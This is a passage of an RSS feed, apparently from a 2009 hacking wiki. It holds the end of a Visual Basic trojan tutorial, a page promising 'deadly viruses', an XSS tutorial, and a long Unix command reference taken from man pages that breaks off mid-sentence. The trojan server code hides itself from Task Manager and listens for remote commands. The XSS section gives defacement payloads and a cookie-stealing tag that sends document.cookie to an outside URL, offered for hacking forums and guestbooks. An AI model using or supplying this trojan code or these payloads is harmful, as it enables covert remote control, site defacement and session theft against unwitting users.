Text1.Text&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;That?s all for the Client now so save this project and start up Visual Basic again.&lt;br&gt;&lt;br&gt;Now we gonne make the server part so we can complete the trojan.&lt;br&gt;Start a new Standard.EXE&lt;br&gt;On this form we only gonne add the winsock.ocx control&lt;br&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;Dubbel click on the Form to open the code place for Form1 and add the following code:&lt;br&gt;&lt;br&gt;Private Sub Form_Load()&lt;br&gt;App.TaskVisible = False ?to make the server unvisible to Ctrl Alt Del&lt;br&gt;Me.Hide ?hide the Form when load&lt;br&gt;If App.PrevInstance = True Then&lt;br&gt;Unload Me ?if the App ir allready running close the App&lt;br&gt;End If&lt;br&gt;Winsock1.LocalPort = 1234&lt;br&gt;Winsock1.Listen ?let the server listen on port 1234 for you to connect&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)&lt;br&gt;If Winsock1.State &amp;lt;&amp;gt; sckClosed Then Winsock1.Close&lt;br&gt;Winsock1.Accept requestID&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)&lt;br&gt;Dim data As String&lt;br&gt;Winsock1.GetData data&lt;br&gt;&lt;br&gt;If data = &amp;quot;msn&amp;quot; Then&lt;br&gt;On Error Resume Next&lt;br&gt;?open msn messenger on the server side&lt;br&gt;Shell (&amp;quot;C:Program FilesMSN Messengermsnmsgr.exe&amp;quot;)&lt;br&gt;Shell (&amp;quot;C:ProgramMSN Messengermsnmsgr.exe&amp;quot;)&lt;br&gt;End If&lt;br&gt;&lt;br&gt;If data = &amp;quot;ex&amp;quot; Then&lt;br&gt;On Error Resume Next&lt;br&gt;?open explorer on the server side&lt;br&gt;Shell (&amp;quot;C:Program FilesInternet ExplorerIEXPLORE.EXE&amp;quot;)&lt;br&gt;Shell (&amp;quot;C:ProgramInternet ExplorerIEXPLORE.EXE&amp;quot;)&lt;br&gt;End If&lt;br&gt;&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Hope this help you&lt;br&gt;&lt;br&gt;Tut by sam64  &lt;/font&gt;&lt;/font&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Viruses</title><link>http://blacklibrary.wetpaint.com/page/Viruses</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Viruses</guid><pubDate>Wed, 18 Feb 2009 23:36:41 CST</pubDate><description> 			Here we will be learning how to create and program new and deadly viruses!&lt;br&gt;&lt;br&gt;Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Making+a+VB+virus&quot; target=&quot;_self&quot;&gt;Making a VB virus&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Notepade+Virus+%5BHowTo%5D&quot; target=&quot;_self&quot;&gt;Notepad Virus [HowTo]&lt;/a&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>XSS Tutorial [INTRO]</title><link>http://blacklibrary.wetpaint.com/page/XSS+Tutorial+%5BINTRO%5D</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/XSS+Tutorial+%5BINTRO%5D</guid><pubDate>Wed, 18 Feb 2009 23:36:11 CST</pubDate><description>[Information]-----------------------------------------------------------------&lt;br&gt;Title: &amp;quot;Cross Site Scripting Tutorial [XSS]&amp;quot;&lt;br&gt;Author: NurBo`&lt;br&gt;---------------------------------------------------------------------------------&lt;br&gt;&lt;br&gt;&lt;br&gt;What is Cross Site Scripting:&lt;br&gt;XSS Stands for Cross Site Scripting, xss is a vulnerability that is&lt;br&gt;normal found&lt;br&gt;in a web app. XSS allows the user to inject malicious codes such as&lt;br&gt;HTML and&lt;br&gt;Java script. XSS can be used to steal cookies, make phishing pages and&lt;br&gt;just having some fun with the website.&lt;br&gt;&lt;br&gt;&lt;br&gt;What is A cookie:&lt;br&gt;A cookie is a text-only string that gets entered into the memory of&lt;br&gt;your browser.&lt;br&gt;This value of a variable that a website sets. If the lifetime of this&lt;br&gt;value is set&lt;br&gt;to be longer than the time you spend at that site, then this string&lt;br&gt;is saved to file for future reference.&lt;br&gt;&lt;br&gt;&lt;br&gt;What can XSS do now days?:&lt;br&gt;Cross Site Scripting is used commonly now days in the cyber&lt;br&gt;world. XSS can take down most websites that are up to date,&lt;br&gt;Cross Site Scripting can steal cookies from websites/forums.&lt;br&gt;Make pop ups, appear were there not suppose to &amp;quot;search bars&amp;quot;&lt;br&gt;etc. Or you can even do some very malicious codes such as&lt;br&gt;redirect the website to another one. The question is, is your&lt;br&gt;website safe?&lt;br&gt;&lt;br&gt;&lt;br&gt;Hacking forums/guest books with XSS:&lt;br&gt;Forum Hacking: Now in order to defaced or even attempt&lt;br&gt;to hack a forum. The forum must have HTML enabled, so you can&lt;br&gt;enter some malicious codes. If the forum does have HTML enabled&lt;br&gt;then you can enter codes such as;&lt;br&gt;&lt;br&gt;Code:&lt;br&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Enjoy the xss tutorial TD &amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br&gt;&amp;lt;body&amp;gt;&lt;br&gt;&amp;lt;img src=&amp;quot;/javascript:alert(&amp;#39;Defaced By:&amp;#39;)&amp;quot;&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;If the forum allows the imagen tags then you can use this tag to&lt;br&gt;steal peoples cookies.&lt;br&gt;&lt;br&gt;Code:&lt;br&gt;&amp;lt;img&lt;br&gt;src=&amp;quot;/javascript:window.location=&amp;#39;http://www.url.com/steal.php?account=&amp;#39;+document.cookie&amp;quot;&amp;gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Now to get to guest book hacking when your posting on the guest book&lt;br&gt;it must also be vulnerable. Meaning html must be enabled, to see if html&lt;br&gt;is enabled put these tags in your post &amp;lt;B&amp;gt;hello world&amp;lt;/B&amp;gt; and if your&lt;br&gt;text comes back bold. Then html is enabled now try doing other techniques&lt;br&gt;you can also put some java script inside the html and see if that works.&lt;br&gt;And if it does or if it doesn&amp;#39;t you can still deface the guest book&lt;br&gt;with writing&lt;br&gt;up some cool html codes that take up the whole guest book page.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Defacing Websites with Cross Site Scripting:&lt;br&gt;As many of you know Cross Site Scripting is used alot now days to exploit&lt;br&gt;websites and forums.&lt;br&gt;Mostly search functions etc. Now some of the common XSS&amp;#39;es now days&lt;br&gt;are within the search bars for websites. To make a box pop&lt;br&gt;up saying what every you put in the script. Some XSS codes are;&lt;br&gt;&lt;br&gt;&lt;br&gt;Quote:&lt;br&gt;&amp;lt;script&amp;gt;alert(&amp;quot;NurBo`&amp;quot;)&amp;lt;/script&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;BODY ONLOAD=alert(document.cookie)&amp;gt;&lt;br&gt;&lt;br&gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(NurBo`);&amp;lt;/script&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;script&amp;gt;window.document.write(&amp;quot;&amp;lt;input type=&amp;#39;file&amp;#39;&amp;gt;&amp;quot;);&amp;lt;/script&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;a href=&amp;#39;search?searchterm=&amp;lt;b&amp;gt;Oh you clicked my link&amp;lt;/b&amp;gt;&amp;#39;&amp;gt;NurBo`&amp;lt;/a&amp;gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Now how can I deface a website with just making 1 little pop up on&lt;br&gt;the search bar page? You can redirect the site to your website or your&lt;br&gt;friends or you can steel cookies. Make a html defacement page and put&lt;br&gt;the whole code&lt;br&gt;in your script. You can do many things, with java script on a vulnerable&lt;br&gt;website.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Conclusion:&lt;br&gt;We&amp;#39;ll I hope you guy&amp;#39;s liked this introduction tutorial to what XSS&lt;br&gt;(&amp;quot; Cross Site Scripting &amp;quot;) can do. I will be making more advance tutorials&lt;br&gt;in the near future. So I hope this tutorial taught a few people what XSS&lt;br&gt;can do and how fun it is. Keep your sites secure and enjoy!&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Psychotics Unix Bible</title><link>http://blacklibrary.wetpaint.com/page/Psychotics+Unix+Bible</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Psychotics+Unix+Bible</guid><pubDate>Wed, 18 Feb 2009 23:35:41 CST</pubDate><description>&lt;br&gt;Psychotic&amp;#39;s Unix Bible Writen by Virtual Circuit&lt;br&gt;&lt;br&gt;* Psychotic&amp;#39;s Unix Bible writen by Virtual Circuit. This document may not be changed in any way. You may distribute this unix bible as much as you like, I wrote it as a reference for the public and that&amp;#39;s how I want it to remain. Any questions you have regarding this text you may reach me at rhat@cts.com.&lt;br&gt;*&lt;br&gt;&lt;br&gt;A list of commands and a quick description&lt;br&gt;&lt;br&gt;alias ......... this allows the user view the current aliases&lt;br&gt;awk ............ this allows the user to search for a pattern within a file&lt;br&gt;bdiff .......... compares two large files&lt;br&gt;bfs ............ scans a large file&lt;br&gt;cal ............ shows a calendar&lt;br&gt;cat ............ concatenates and prints a file&lt;br&gt;cc ............. c compiler&lt;br&gt;cd ............. changes directories&lt;br&gt;chgrb .......... changes a file groups ownership&lt;br&gt;chmod .......... changes the permission on a file&lt;br&gt;chown .......... changes the individual ownership of a file&lt;br&gt;cmp ............ compairs two files&lt;br&gt;comm ........... compares two files so as to determine which lines are common to    both&lt;br&gt;cp ............. copies file to another location&lt;br&gt;cu ............. calls another unix sysytem&lt;br&gt;date ........... returns the date and time&lt;br&gt;df ............. shows all mounted drives on your machine&lt;br&gt;diff ........... displays the diference between two files&lt;br&gt;du ............. shows the disk usage in blocks for a directory&lt;br&gt;echo ........... echoes the data to the screen or file&lt;br&gt;ed ............. text editor&lt;br&gt;env ............ lists the current environment variables&lt;br&gt;ex ............. another text editor&lt;br&gt;expr ........... evaluates a mathmatical formula&lt;br&gt;find ........... finds a file&lt;br&gt;f77 ............ fortran complier&lt;br&gt;format ......... initializes a floppy disk&lt;br&gt;grep ........... searches for a pattern within a file&lt;br&gt;help ........... gives help&lt;br&gt;kill ........... stops a running process&lt;br&gt;ln ............. creates a link between two files&lt;br&gt;lpr ............ copies the file to the line printer&lt;br&gt;ls ............. lists the files in a directory&lt;br&gt;mail ........... allows the user to send/receive mail&lt;br&gt;mkdir .......... makes directory&lt;br&gt;more ........... displays a data file to the screen&lt;br&gt;mv ............. used to move or rename files&lt;br&gt;nohup .......... allows a command to continue running even when you log out&lt;br&gt;nroff .......... used to format text&lt;br&gt;passwd ......... changes your password&lt;br&gt;pkgadd ......... installs a new program onto your machine&lt;br&gt;ps ............. Lists the current processes running&lt;br&gt;pwd ............ displays the name of the working directory&lt;br&gt;rm ............. removes files&lt;br&gt;rmdir .......... removes directories&lt;br&gt;set ............ lists all the variables in the current shell&lt;br&gt;setenv ......... sets the environment variables&lt;br&gt;sleep .......... causes a process to become inactive&lt;br&gt;source ......... allows the user to execute a file and update any changed values    in that file&lt;br&gt;sort ........... sorts files&lt;br&gt;spell .......... checks for spelling errors in a file&lt;br&gt;split .......... divides a file&lt;br&gt;stty ........... sets the terminal options&lt;br&gt;tail ........... displays the end of a file&lt;br&gt;tar ............ copies all specified files into one&lt;br&gt;touch .......... creates an empty file or updates the time/date stamp on a file&lt;br&gt;troff .......... outputs formatted output&lt;br&gt;tset ........... sets the terminal type&lt;br&gt;umask .......... specify a new creation mask&lt;br&gt;uniq ........... compairs two files&lt;br&gt;uucp ........... unix to unix execute&lt;br&gt;vi ............. full screen editor&lt;br&gt;vipw ........... opens the vi editor as well as password file for editing&lt;br&gt;volcheck ....... checks to see if there is a floppy disk mounted to your machine&lt;br&gt;wc ............. displays detail in the full size&lt;br&gt;who ............ inf. on other people online&lt;br&gt;write .......... send a message to another user&lt;br&gt;! .............. repeats commands&lt;br&gt;&lt;br&gt;&lt;br&gt;More commands with a better description (Not all commands are listed):&lt;br&gt;&lt;br&gt;cat: -b, --number-nonblank&lt;br&gt;&lt;br&gt;Number all nonblank output lines, starting with 1. &lt;br&gt;&lt;br&gt;-e &lt;br&gt;Equivalent to -vE. &lt;br&gt;&lt;br&gt;-n, --number&lt;br&gt;Number all output lines, starting with 1. &lt;br&gt;&lt;br&gt;-s, --squeeze-blank&lt;br&gt;Replace multiple adjacent blank lines with a single blank line. &lt;br&gt;&lt;br&gt;-t &lt;br&gt;Equivalent to -vT. &lt;br&gt;&lt;br&gt;-u &lt;br&gt;Ignored; for Unix compatibility. &lt;br&gt;&lt;br&gt;-v, --show-nonprinting&lt;br&gt;Display control characters except for LFD and TAB using `^&amp;#39; notation and precede characters that have the high bit set with `M-&amp;#39;. &lt;br&gt;&lt;br&gt;-A, --show-all&lt;br&gt;Equivalent to -vET. &lt;br&gt;&lt;br&gt;-E, --show-ends&lt;br&gt;Display a `$&amp;#39; after the end of each line. &lt;br&gt;&lt;br&gt;-T, --show-tabs&lt;br&gt;Display TAB characters as `^I&amp;#39;. &lt;br&gt;&lt;br&gt;--help&lt;br&gt;Print a usage message and exit with a status code indicating success. &lt;br&gt;&lt;br&gt;--version&lt;br&gt;Print version information on standard output then exit.&lt;br&gt;&lt;br&gt;cd: directory becomes the new working directory. The process must have execute (search) permission in directory. If cd is used without arguments, it returns you to your login directory. In csh you may specify a list of directories in which directory is to be sought as a subdirectory if it is not a subdirectory of the current directory; see the description of the cdpath variable in csh.&lt;br&gt;&lt;br&gt;chmod: The format of a symbolic mode is `[ugoa...][[+=][rwxXstugo...]...][,...]&amp;#39;. Multiple symbolic operations can be given, separated by commas. &lt;br&gt;&lt;br&gt;A combination of the letters `ugoa&amp;#39; controls which users&amp;#39; access to the file will be changed: the user who owns it (u), other users in the file&amp;#39;s group (g), other users not in the file&amp;#39;s group (o), or all users (a). If none of these are given, the effect is as if `a&amp;#39; were given, but bits that are set in the umask are&lt;br&gt;not affected. &lt;br&gt;&lt;br&gt;The operator `+&amp;#39; causes the permissions selected to be added to the existing permissions of each file; `-&amp;#39; causes them to be removed; and `=&amp;#39; causes them to be the only permissions that the file has. &lt;br&gt;&lt;br&gt;The letters `rwxXstugo&amp;#39; select the new permissions for the affected users: read (r), write (w), execute (or access for directories) (x), execute only if the file is a directory or already has execute permission for some user (X), set user or group ID on execution (s), save program text on swap device (t), the permissions that the user who owns the file currently has for it (u), the permissions that other users in the file&amp;#39;s group have for it (g), and the permissions that other users not in the file&amp;#39;s group have for it (o). &lt;br&gt;&lt;br&gt;A numeric mode is from one to four octal digits (0-7), derived by adding up the bits with values 4, 2, and 1. Any omitted digits are assumed to be leading zeros. The first digit selects the set user ID (4) and set group ID (2) and save text image (1) attributes. The second digit selects permissions for the user who owns the file: read (4), write (2), and execute (1); the third selects permissions for&lt;br&gt;other users in the file&amp;#39;s group, with the same values; and the fourth for other users not in the file&amp;#39;s group, with the same values. &lt;br&gt;&lt;br&gt;chmod never changes the permissions of symbolic links; the chmod system call cannot change their permissions. This is not a problem since the permissions of symbolic links are never used. However, for each symbolic link listed on the command line, chmod changes the permissions of the pointed to file. In contrast, chmod ignores symbolic links encountered during recursive directory traversals. &lt;br&gt;&lt;br&gt;OPTIONS&lt;br&gt;-c, --changes&lt;br&gt;Verbosely describe only files whose permissions actually change. &lt;br&gt;&lt;br&gt;-f, --silent, --quiet&lt;br&gt;Do not print error messages about files whose permissions cannot be changed. &lt;br&gt;&lt;br&gt;-v, --verbose&lt;br&gt;Verbosely describe changed permissions. &lt;br&gt;&lt;br&gt;-R, --recursive&lt;br&gt;Recursively change permissions of directories and their contents. &lt;br&gt;&lt;br&gt;--help&lt;br&gt;Print a usage message on standard output and exit successfully. &lt;br&gt;&lt;br&gt;--version&lt;br&gt;Print version information on standard output then exit successfully. &lt;br&gt;&lt;br&gt;clear: clear clears your screen if this is possible. It looks in the environment for the terminal type and then in /etc/termcap to figure out how to clear the screen. &lt;br&gt;&lt;br&gt;date: This manual page documents the GNU version of date. date with no arguments prints the current time and date (in the format of the `%c&amp;#39; directive described below). If given an argument that starts with a `+&amp;#39;, it prints the current time and date in a format controlled by that argument, which has the same format as the format string passed to the `strftime&amp;#39; function. Except for directives that start with `%&amp;#39;, characters in that string are printed unchanged. &lt;br&gt;&lt;br&gt;The directives are: &lt;br&gt;&lt;br&gt;% &lt;br&gt;a literal % &lt;br&gt;&lt;br&gt;n &lt;br&gt;a newline &lt;br&gt;&lt;br&gt;t &lt;br&gt;a horizontal tab &lt;br&gt;&lt;br&gt;Time fields: &lt;br&gt;&lt;br&gt;%H &lt;br&gt;hour (00..23) &lt;br&gt;&lt;br&gt;%I &lt;br&gt;hour (01..12) &lt;br&gt;&lt;br&gt;%k &lt;br&gt;hour ( 0..23) &lt;br&gt;&lt;br&gt;%l &lt;br&gt;hour ( 1..12) &lt;br&gt;&lt;br&gt;%M &lt;br&gt;minute (00..59) &lt;br&gt;&lt;br&gt;%p &lt;br&gt;locale&amp;#39;s AM or PM &lt;br&gt;&lt;br&gt;%r &lt;br&gt;time, 12-hour (hh:mm:ss [AP]M) &lt;br&gt;&lt;br&gt;%s &lt;br&gt;seconds since 1970-01-01 00:00:00 UTC (a nonstandard extension) &lt;br&gt;&lt;br&gt;%S &lt;br&gt;second (00..61) &lt;br&gt;&lt;br&gt;%T &lt;br&gt;time, 24-hour (hh:mm:ss) &lt;br&gt;&lt;br&gt;%X &lt;br&gt;locale&amp;#39;s time representation (%H:%M:%S) &lt;br&gt;&lt;br&gt;%Z &lt;br&gt;time zone (e.g., EDT), or nothing if no time zone is determinable &lt;br&gt;&lt;br&gt;Date fields: &lt;br&gt;&lt;br&gt;%a &lt;br&gt;locale&amp;#39;s abbreviated weekday name (Sun..Sat) &lt;br&gt;&lt;br&gt;%A &lt;br&gt;locale&amp;#39;s full weekday name, variable length (Sunday..Saturday) &lt;br&gt;&lt;br&gt;%b &lt;br&gt;locale&amp;#39;s abbreviated month name (Jan..Dec) &lt;br&gt;&lt;br&gt;%B &lt;br&gt;locale&amp;#39;s full month name, variable length (January..December) &lt;br&gt;&lt;br&gt;%c &lt;br&gt;locale&amp;#39;s date and time (Sat Nov 04 12:02:33 EST 1989) &lt;br&gt;&lt;br&gt;%d &lt;br&gt;day of month (01..31) &lt;br&gt;&lt;br&gt;%D &lt;br&gt;date (mm/dd/yy) &lt;br&gt;&lt;br&gt;%h &lt;br&gt;same as %b &lt;br&gt;&lt;br&gt;%j &lt;br&gt;day of year (001..366) &lt;br&gt;&lt;br&gt;%m &lt;br&gt;month (01..12) &lt;br&gt;&lt;br&gt;%U week number of year with Sunday as first day of week (00..53) &lt;br&gt;&lt;br&gt;%w &lt;br&gt;day of week (0..6) with 0 corresponding to Sunday &lt;br&gt;&lt;br&gt;%W &lt;br&gt;week number of year with Monday as first day of week (00..53) &lt;br&gt;&lt;br&gt;%x &lt;br&gt;locale&amp;#39;s date representation (mm/dd/yy) &lt;br&gt;&lt;br&gt;%y &lt;br&gt;last two digits of year (00..99) &lt;br&gt;&lt;br&gt;%Y &lt;br&gt;year (1970...) &lt;br&gt;&lt;br&gt;By default, date pads numeric fields with zeroes. GNU date recognizes the following nonstandard numeric modifiers: &lt;br&gt;&lt;br&gt;- &lt;br&gt;(hyphen) do not pad the field &lt;br&gt;&lt;br&gt;_ &lt;br&gt;(underscore) pad the field with spaces &lt;br&gt;&lt;br&gt;If given an argument that does not start with `+&amp;#39;, date sets the system clock to the time and date specified by that argument. The argument must consist entirely of digits, which have the following meaning: &lt;br&gt;&lt;br&gt;MM&lt;br&gt;month &lt;br&gt;&lt;br&gt;DD &lt;br&gt;day within month &lt;br&gt;&lt;br&gt;hh&lt;br&gt;hour &lt;br&gt;&lt;br&gt;mm&lt;br&gt;minute &lt;br&gt;&lt;br&gt;CC &lt;br&gt;first two digits of year (optional) &lt;br&gt;&lt;br&gt;YY &lt;br&gt;last two digits of year (optional) &lt;br&gt;&lt;br&gt;ss &lt;br&gt;second (optional) &lt;br&gt;&lt;br&gt;Only the superuser can set the system clock. &lt;br&gt;&lt;br&gt;OPTIONS&lt;br&gt;-d datestr, --date datestr&lt;br&gt;Display the time and date specified in datestr, which can be in almost any common format. The display is in the default output format, or if an argument starting with `+&amp;#39; is given to date, in the format specified by that argument. &lt;br&gt;&lt;br&gt;--help&lt;br&gt;Print a usage message on standard output and exit successfully. &lt;br&gt;&lt;br&gt;-s datestr, --set datestr&lt;br&gt;Set the time and date to datestr, which can be in almost any common format. It can contain month names, timezones, `am&amp;#39; and `pm&amp;#39;, etc. &lt;br&gt;&lt;br&gt;-u, --universal&lt;br&gt;Print or set the time and date in Coordinated Universal Time (also known as Greenwich Mean Time) instead of in local (wall clock) time. &lt;br&gt;&lt;br&gt;--version&lt;br&gt;Print version information on standard output then exit successfully.&lt;br&gt;&lt;br&gt;find: find recursively descends the directory hierarchy for each pathname in the pathname-list, seeking files that match a logical expression written using the operators listed below. &lt;br&gt;&lt;br&gt;find does not follow symbolic links to other files or directories; it applies the selection criteria to the symbolic links themselves, as if they were ordinary files (see ln(1V) for a description of symbolic links). &lt;br&gt;&lt;br&gt;If the fast-find feature is enabled, find displays pathnames in which a filename component occurs. &lt;br&gt;&lt;br&gt;USAGE&lt;br&gt;&lt;br&gt;Operators&lt;br&gt;&lt;br&gt;In the descriptions, the argument n is used as a decimal integer where +n means more than n, -n means less than n, and n means exactly n. &lt;br&gt;&lt;br&gt;-fstype type &lt;br&gt;True if the filesystem to which the file belongs is of type type, where type is typically 4.2 or nfs. &lt;br&gt;&lt;br&gt;-name filename True if the &lt;br&gt;filename argument matches the current file name. Shell argument syntax can be used if escaped (watch out for [, ? and *). &lt;br&gt;&lt;br&gt;-perm onum &lt;br&gt;True if the file permission flags exactly match the octal number onum (see chmod(1V)). If onum is prefixed by a minus sign, more flag bits (017777, see chmod(1V)) become significant and the flags are compared: (flags&amp;amp;onum)==onum. &lt;br&gt;&lt;br&gt;-prune &lt;br&gt;Always yields true. Has the side effect of pruning the search tree at the file. That is, if the current path name is a directory, find will not descend into that directory. &lt;br&gt;&lt;br&gt;-type c &lt;br&gt;True if the type of the file is c, where c is one of: &lt;br&gt;&lt;br&gt;b &lt;br&gt;for block special file c &lt;br&gt;&lt;br&gt;c &lt;br&gt;for character special file &lt;br&gt;&lt;br&gt;d &lt;br&gt;for directory &lt;br&gt;&lt;br&gt;f &lt;br&gt;for plain file &lt;br&gt;&lt;br&gt;p &lt;br&gt;for named pipe (FIFO) &lt;br&gt;&lt;br&gt;l &lt;br&gt;for symbolic link &lt;br&gt;&lt;br&gt;s &lt;br&gt;for socket &lt;br&gt;&lt;br&gt;-links n &lt;br&gt;True if the file has n links. &lt;br&gt;&lt;br&gt;-user uname &lt;br&gt;True if the file belongs to the user uname. If uname is numeric and does not appear as a login name in the /etc/passwd database, it is taken as a user ID. &lt;br&gt;&lt;br&gt;-nouser &lt;br&gt;True if the file belongs to a user not in the /etc/passwd database. &lt;br&gt;&lt;br&gt;-group gname &lt;br&gt;True if the file belongs to group gname. If gname is numeric and does not appear as a login name in the /etc/group database, it is taken as a group ID. &lt;br&gt;&lt;br&gt;-nogroup &lt;br&gt;True if the file belongs to a group not in the /etc/group database. &lt;br&gt;&lt;br&gt;-size n &lt;br&gt;True if the file is n blocks long (512 bytes per block). If n is followed by a c, the size is in characters. &lt;br&gt;&lt;br&gt;-inum n &lt;br&gt;True if the file has inode number n. &lt;br&gt;&lt;br&gt;-atime n &lt;br&gt;True if the file has been accessed in n days. Note: the access time of directories in path-name-list is changed by find itself. &lt;br&gt;&lt;br&gt;-mtime n &lt;br&gt;True if the file has been modified in n days. &lt;br&gt;&lt;br&gt;-ctime n &lt;br&gt;True if the file has been changed in n days. &amp;quot;Changed&amp;quot; means either that the file has been modified or some attribute of the file (its owner, its group, the number of links to it, etc.) has been changed. &lt;br&gt;&lt;br&gt;-exec command &lt;br&gt;True if the executed command returns a zero value as exit status. The end of command must be punctuated by an escaped semicolon. A command argument {} is replaced by the current pathname. &lt;br&gt;&lt;br&gt;-ok command &lt;br&gt;Like -exec except that the generated command is written on the standard output, then the standard input is read and the command executed only upon response y. &lt;br&gt;&lt;br&gt;-print &lt;br&gt;Always true; the current pathname is printed. &lt;br&gt;&lt;br&gt;-ls &lt;br&gt;Always true; prints current pathname together with its associated statistics. These include (respectively) inode number, size in kilobytes (1024 bytes), protection mode, number of hard links, user, group, size in bytes, and modification time. If the file is a special file the size field will instead contain the major and minor device numbers. If the file is a symbolic link the pathname of the linked-to file is printed preceded by `-&amp;gt;&amp;#39;. The format is identical to that of ls -gilds (see ls(1V)). Note: formatting is done internally, without executing the ls program. &lt;br&gt;&lt;br&gt;-cpio device &lt;br&gt;Always true; write the current file on device in cpio(5) format (5120-byte records). &lt;br&gt;&lt;br&gt;-ncpio device &lt;br&gt;Always true; write the current file on device in cpio -c format (5120-byte records). &lt;br&gt;&lt;br&gt;-newer file &lt;br&gt;True if the current file has been modified more recently than the argument filename. &lt;br&gt;&lt;br&gt;-xdev &lt;br&gt;Always true; find does not traverse down into a file system different from the one on which current argument pathname resides. &lt;br&gt;&lt;br&gt;-depth &lt;br&gt;Always true; find descends the directory hierarchy, acting on the entries in a directory before acting on the directory itself. This can be useful when find is used with cpio to transfer files that are contained in directories without write permission. &lt;br&gt;&lt;br&gt;(expression) &lt;br&gt;True if the parenthesized expression is true. Note: Parentheses are special to the shell and must be escaped. &lt;br&gt;&lt;br&gt;!primary &lt;br&gt;True if the primary is false (! is the unary not operator). &lt;br&gt;&lt;br&gt;primary1 [ -a ] primary2&lt;br&gt;True if both primary1 and primary2 are true. The -a is not required. It is implied by the juxtaposition of two primaries. &lt;br&gt;&lt;br&gt;primary1 -o primary2&lt;br&gt;True if either primary1 or primary2 is true (-o is the or operator). &lt;br&gt;&lt;br&gt;Fast-Find&lt;br&gt;The fast-find feature is enabled by the presence of the find.codes database in /usr/lib/find. You must be root to build or update this database by running the updatedb script in that same directory. You may wish to modify the updatedb script to suit your needs. &lt;br&gt;&lt;br&gt;An alternate database can be specified by setting the FCODES environment variable. cp: cp copies the contents of filename1 onto filename2. The mode and owner of filename2 are preserved if it already existed; the mode of the source file is used otherwise. If filename1 is a symbolic link, or a duplicate hard link, the contents of the file that the link refers to are copied; links&lt;br&gt;are not preserved. &lt;br&gt;&lt;br&gt;In the second form, cp recursively copies directory1, along with its contents and subdirectories, to directory2. If directory2 does not exist, cp creates it and duplicates the files and subdirectories of directory1 within it. If direc_tory2 does exist, cp makes a copy of the directory1 directory within directory2 (as a subdirectory), along with its files and subdirectories. &lt;br&gt;&lt;br&gt;In the third form, each filename is copied to the indicated directory; the basename of the copy corresponds to that of the original. The destination directory must already exist for the copy to succeed. &lt;br&gt;&lt;br&gt;cp refuses to copy a file onto itself.&lt;br&gt;finger: By default, finger displays information about each logged-in user, including his or her: login name, full name, terminal name (prepended with a `*&amp;#39; if write-permission is denied), idle time, login time, and location (comment field in /etc/ttytab for users logged in locally, hostname for users logged in&lt;br&gt;remotely) if known. &lt;br&gt;&lt;br&gt;Idle time is minutes if it is a single integer, hours and minutes if a `:&amp;#39; is present, or days and hours if a d is present. &lt;br&gt;&lt;br&gt;When one or more name arguments are given, more detailed information is given for each name specified, whether they are logged in or not. A name may be a first or last name, or an account name. Information is presented in a multiline format, and includes, in addition to the information mentioned above: the user&amp;#39;s home directory and login shell the time they logged in if they are currently logged in, or the time they last logged in if they are not, as well as the terminal or host from which they logged in and, if a terminal, the comment field in /etc/ttytab for that terminal the last time they received mail, and the last time they read their mail any plan contained in the file .plan in the user&amp;#39;s home directory and any project on which they are working described in the file .project (also in that directory) &lt;br&gt;&lt;br&gt;If a name argument contains an at-sign, `@&amp;#39;, then a connection is attempted to the machine named after the at-sign, and the remote finger daemon is queried. The data returned by that daemon is printed. If a long format printout is to be produced, finger passes the -l option to the remote finger daemon over the network using the /W feature of the protocol (see NAME/FINGER Protocol).&lt;br&gt;grep: Grep searches the named input files (or standard input if no files are named, or the file name - is given) for lines containing a match to the given pattern. By default, grep prints the matching lines. &lt;br&gt;&lt;br&gt;There are three major variants of grep, controlled by the following options.&lt;br&gt;&lt;br&gt;-G Interpret pattern as a basic regular expression (see below). This is the default.&lt;br&gt;&lt;br&gt;-E Interpret pattern as an extended regular expression (see below).&lt;br&gt;&lt;br&gt;-F &lt;br&gt;Interpret pattern as a list of fixed strings, separated by newlines, any of which is to be matched. In addition, two variant programs egrep and fgrep are available. Egrep is similiar (but not identical) to grep -E, and is compatible with the historical Unix egrep. Fgrep is the same as grep -F. &lt;br&gt;&lt;br&gt;All variants of grep understand the following options: -num Matches will be printed with num lines of leading and trailing context. However, grep will never print any given line more than once.&lt;br&gt;&lt;br&gt;-A num&lt;br&gt;Print num lines of trailing context after matching lines.&lt;br&gt;&lt;br&gt;-B num&lt;br&gt;Print num lines of leading context before matching lines.&lt;br&gt;&lt;br&gt;-C &lt;br&gt;Equivalent to -2. -V Print the version number of grep to standard error. This version number should be included in all bug reports (see below). &lt;br&gt;&lt;br&gt;-b &lt;br&gt;Print the byte offset within the input file before each line of output. &lt;br&gt;&lt;br&gt;-c &lt;br&gt;Suppress normal output; instead print a count of matching lines for each input file. With the -v option (see below), count non-matching lines. -e pattern Use pattern as the pattern; useful to protect patterns beginning with -. -f file Obtain the pattern from 